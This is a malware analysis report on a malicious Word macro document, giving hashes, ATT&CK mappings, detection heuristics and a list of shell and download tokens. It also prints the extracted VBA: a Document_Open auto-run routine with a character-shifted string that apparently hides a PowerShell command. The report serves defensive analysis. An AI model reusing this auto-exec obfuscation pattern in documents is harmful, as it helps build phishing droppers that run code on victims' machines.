Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f17bdb49026d6817…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-07-16 10:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 6b3a406cab3e81624cbbae4506d967f8 SHA-1: a277dc01ab5f6b62bdc784f985a9332be9ac0194 SHA-256: f17bdb49026d68171a5a6b57209f6810c651ca334c5a4554993f70dcf31452f9
70 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open auto-execution subroutine. This subroutine calls ProcessMyImage, which decrypts and likely executes a payload from a hardcoded, obfuscated string. The heuristic OLE_VBA_PCODE_AUTOEXEC_EXEC firing indicates the macro uses Shell execution, and the presence of a Document_Open macro suggests a spearphishing attachment vector.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1138 bytes
SHA-256: 5f56798616ca42ed398122b5f0ac4a2f6dd94758137bc64a73969986159ddbfa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function convert(stringme As String)
        Dim n As Integer, i As Integer
        n = 15
        For i = 1 To Len(stringme)
            Mid(stringme, i, 1) = Chr(Asc(Mid(stringme, i, 1)) + n)
        Next i
        convert = stringme
End Function
    
Public Function getoriginal(stringme As String)
        Dim n As Integer, i As Integer
        n = 15
        For i = 1 To Len(stringme)
            Mid(stringme, i, 1) = Chr(Asc(Mid(stringme, i, 1)) - n)
        Next i
        getoriginal = stringme
End Function
    
Private Sub ProcessMyImage()
    Dim str As String
         str = "}|„r €uryy;r…r-:{|}-:dv{q|„€€�†yr-uvqqr{-:P|zzn{q:-"
         ' Debug.Print
    


End Sub

Private Sub Document_Open()
    ProcessMyImage
End Sub
















Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 484c64e62784d40f5f70a1da5b5a8ae67285eed2066feb6920e787f8687f2656

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